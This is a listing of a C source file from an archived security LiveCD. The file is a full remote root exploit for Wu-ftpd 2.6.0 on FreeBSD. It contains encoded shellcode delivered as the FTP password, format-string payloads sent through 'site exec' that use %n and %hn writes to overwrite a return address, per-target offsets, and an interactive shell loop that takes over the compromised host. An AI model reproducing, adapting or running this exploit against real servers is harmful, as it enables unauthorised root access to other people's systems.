home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wu-ftpd26.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  307 lines

  1. /*
  2.  *  WU-hooooooooo ! ;) 
  3.  *  remote root exploit for FreeBSD Wu-ftpd 2.6.0 !
  4.  *  Written by glitch of AdG.
  5.  *  Shellcode by Myt of AdG
  6.  *  This is mega private !
  7.  *  for Action Direct Group members only !
  8.  *  Don't distribute !
  9.  *
  10.  *  Greetings to tf8, adm.
  11.  *
  12.  */
  13.  
  14. #include <stdio.h>
  15. #include <string.h>
  16. #include <stdlib.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <sys/time.h>
  20. #include <errno.h>
  21. #include <netinet/in.h>
  22. #include <unistd.h>
  23. #include <netdb.h>
  24. #include <signal.h>
  25.  
  26. /*
  27.  * Warning ! You may increase DELAY value
  28.  * for slow connections !
  29.  *
  30.  */
  31.  
  32. #define DELAY 5
  33.  
  34. char bsd_shellcode[] = 
  35.    "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
  36.    "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
  37.    "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
  38.    "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
  39.    "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
  40.    "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
  41.    "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
  42.    "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
  43.    "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
  44.    "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
  45.  
  46. struct sys_type
  47. {
  48.    char *sysname;
  49.    int penum;
  50.    int penum2;
  51.    int penum3;
  52.    int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */
  53.    char *shellcode;
  54. };
  55.  
  56. struct sys_type target[] =
  57. {
  58.    {"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS",47,37,52,355,bsd_shellcode},
  59.    {"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS",46,36,51,354,bsd_shellcode},
  60.    {"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS",32,48,44,355,bsd_shellcode},
  61.    {NULL,0,0,0,0,NULL}
  62. };
  63.  
  64. int sock;    /* Socket Descriptor */
  65. int sysnumber = 0;
  66. char tosend[1024]; /* send buffer */
  67. char torecv[4096]; /* receive buffer */
  68.  
  69. int max(int,int);
  70. char *scan_ptrretaddr(int,int);
  71. char *scan_retaddr(int);
  72. void receive(void);
  73. void ftp_login(char *,char *);
  74. void store_value(int,int,int);
  75. void shell(void);
  76. void site_exec(char *);
  77. void usage(char *);
  78.  
  79. int main (argc,argv)
  80.    int argc;
  81.    char *argv[];
  82. {
  83.    int port = 21;
  84.    int main_index = 0;
  85.  
  86.    char *ptrretaddr;
  87.    char *retaddr;
  88.  
  89.    struct sockaddr_in sin;
  90.    struct hostent *host;
  91.  
  92.    while(target[sysnumber].sysname != NULL)
  93.       sysnumber++;
  94.  
  95.    if (argc < 3)
  96.       usage(argv[0]);
  97.    main_index = atoi(argv[2]);
  98.    if (main_index < 0 || main_index > sysnumber-1)
  99.    {
  100.       printf("Wrong system identifier!\n");
  101.       usage(argv[0]);
  102.    }
  103.    printf ("Exploiting: %s\n",target[main_index].sysname);
  104.    if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)
  105.    {
  106.       perror("Socket error");
  107.       exit(-1);
  108.    }
  109.  
  110.    if(argv[3])
  111.       port=atoi(argv[3]);
  112.  
  113.    bzero((char*)&sin,sizeof(sin));
  114.    sin.sin_family=AF_INET;
  115.    sin.sin_port=htons(port);
  116.    host=gethostbyname(argv[1]);
  117.  
  118.    if (host == 0)
  119.    {
  120.       printf("Cannot resolve %s\n",argv[1]);
  121.       exit(-1);
  122.    }
  123.    memcpy(&sin.sin_addr,host->h_addr,host->h_length);
  124.    if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)
  125.    {
  126.       perror("Connect error");
  127.       exit(-1);
  128.    }
  129.    printf("\nCONNECTED!\n\n");
  130.  
  131.    sleep(DELAY);
  132.    receive();
  133.    fputs(torecv,stdout);
  134.    ftp_login("ftp",target[main_index].shellcode);
  135.    ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);
  136.    retaddr = scan_retaddr(target[main_index].penum2);
  137.    store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);
  138.    sleep(DELAY);receive();
  139.    store_value(target[main_index].penum3,(int)retaddr,2);
  140.    printf("\033[32mAdG rox ! :)\033[37m\n");
  141.    write(sock,"uname -a;id\n",strlen("uname -a;id\n"));
  142.    signal(SIGINT,SIG_IGN);
  143.    shell();
  144. }
  145.  
  146. int max(int x,int y)
  147. {
  148.    if (x > y)
  149.       return(x);
  150.    return(y);
  151. }
  152. void receive(void)
  153. {
  154.    bzero(torecv,sizeof(torecv));
  155.    if(read(sock,torecv,sizeof(torecv)) == 0)
  156.    {
  157.       printf("Connection closed by foreign host!\n");
  158.       exit(-1);
  159.    }
  160. }
  161. void shell(void)
  162. {
  163.    fd_set rset;
  164.    int nfds,nread;
  165.    bzero(torecv,sizeof(torecv));
  166.    for (;;)
  167.    {
  168.       nfds=max(fileno(stdin),sock)+1;
  169.       FD_ZERO(&rset);
  170.       FD_SET(fileno(stdin),&rset);
  171.       FD_SET(sock,&rset);
  172.       select(nfds,&rset,NULL,NULL,NULL);
  173.       if(FD_ISSET(fileno(stdin),&rset))
  174.       {
  175.          bzero(tosend,sizeof(tosend));
  176.          fgets(tosend,sizeof(tosend)-2,stdin);
  177.          write(sock,tosend,strlen(tosend));
  178.       }
  179.       if(FD_ISSET(sock,&rset))
  180.       {
  181.          bzero(torecv,sizeof(torecv));
  182.          if((nread=read(sock,torecv,sizeof(torecv))) == 0)
  183.          {
  184.             printf("\nEOF\n");
  185.             exit(0);
  186.          }
  187.          if (nread < 0)
  188.          {
  189.             perror("Read error");
  190.             exit(-1);
  191.          }
  192.          fputs(torecv,stdout);
  193.       }
  194.    }
  195. }
  196. void ftp_login(char *username, char *password)
  197. {
  198.    sprintf(tosend,"USER %s\n",username);
  199.    printf("\033[32m%s\033[37m",tosend);
  200.    write(sock,tosend,strlen(tosend));
  201.    sleep(DELAY);
  202.    receive();
  203.    fputs(torecv,stdout);
  204.    sprintf(tosend,"PASS %s\n",password);
  205.    printf("\033[32mPASS <shellcode>\033[37m\n");
  206.    write(sock,tosend,strlen(tosend));
  207.    sleep(DELAY);
  208.    receive();
  209.    fputs(torecv,stdout);
  210. }
  211. void site_exec(char *string)
  212. {
  213.    char buf[1034];
  214.    bzero(buf,sizeof(buf));
  215.    snprintf(buf,sizeof(buf),"site exec %s\n",string);
  216.    write(sock,buf,strlen(buf));
  217. }
  218. char *scan_ptrretaddr(int penum,int offset)
  219. {
  220.    int a;
  221.    char *buf;
  222.    char *ptr, *retvalue;
  223.    printf("Scanning remote server's stack:\n");
  224.    bzero(tosend,sizeof(tosend));
  225.    for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
  226.    {
  227.             sprintf(buf,"%s","%p:%d");
  228.    }
  229.    site_exec(tosend);
  230.    sleep(DELAY);
  231.    receive();
  232.  
  233.    buf = strstr(torecv,":")+1;
  234.    ptr =(char*)atoi(buf);
  235.    printf("\033[32mScanned PTRPTRRETADDR is \033[31m0x%x\n\033[37m",ptr);
  236.    retvalue = ptr - offset*4;
  237.    printf("\033[32mCalculated PTRRETADDR is \033[31m0x%x\n\033[37m",retvalue);
  238.    return retvalue;
  239. }
  240. char *scan_retaddr(int penum)
  241. {
  242.    int a;
  243.    char *buf;
  244.    char *ptr, *retvalue;
  245.    printf("Detecting return address:\n");
  246.    bzero(tosend,sizeof(tosend));
  247.    for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
  248.    {
  249.             sprintf(buf,"%s","%p:%d");
  250.    }
  251.    site_exec(tosend);sleep(DELAY);receive();
  252.    buf = strstr(torecv,":")+1;
  253.    ptr =(char*)atoi(buf);
  254.    printf("\033[32mScanned TEMPADDR is \033[31m0x%x\n\033[37m",ptr);
  255.    for (a = 0,buf = tosend; a < penum; a++,buf+= 2)
  256.    {
  257.             sprintf(buf,"%s","%p:%s");
  258.    }
  259.    site_exec(tosend);sleep(DELAY);receive();
  260.    retvalue = ptr;
  261.    buf = strstr(torecv,":")+1;
  262.    ptr = strstr(torecv,"/")+1;   
  263.    retvalue += ptr - buf;
  264.    printf("\033[32mCalculated RETADDR is \033[31m0x%x\n\033[37m",retvalue);
  265.    return retvalue;
  266. }
  267. void store_value(int penum,int value,int type)
  268. {
  269.    int a;
  270.    int offset;
  271.    char *buf;
  272.    char *ptr1, *ptr2;
  273.    printf("Storing value 0x%x\n",value);
  274.    bzero(tosend,sizeof(tosend));
  275.    buf = tosend;
  276.    sprintf(buf,"%%.10d"); /* WARNING 10 is a MAGIC NUM! */
  277.    for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
  278.    {
  279.             sprintf(buf,"%s","%p:");
  280.    }
  281.    site_exec(tosend);
  282.    sleep(DELAY);
  283.    receive();
  284.    ptr1 = strstr(torecv,"-")+1;
  285.    ptr2 = strstr(torecv,":");
  286.    offset = ptr2 - ptr1;
  287.    printf("offset is 0x%x\n",offset);
  288.    bzero(tosend,sizeof(tosend));
  289.    buf = tosend;
  290.    sprintf(buf,"%%.%d\x64",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */
  291.    for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)
  292.    {
  293.       if(type == 1) sprintf(buf,"%s","%p%hn");
  294.       if(type == 2) sprintf(buf,"%s","%p%n");
  295.    }
  296.    site_exec(tosend);
  297. }
  298. void usage(char *arg)
  299. {
  300.    int i;
  301.    printf("Usage: %s <hostname> <systype> [port]\n",arg);
  302.    printf(" known systypes: \n");
  303.    for(i=0;i < sysnumber;i++)
  304.       printf("  %2d  - %s\n",i,target[i].sysname);
  305.    exit(-1);
  306. }
  307. /*                    www.hack.co.za           [6 July 2000]*/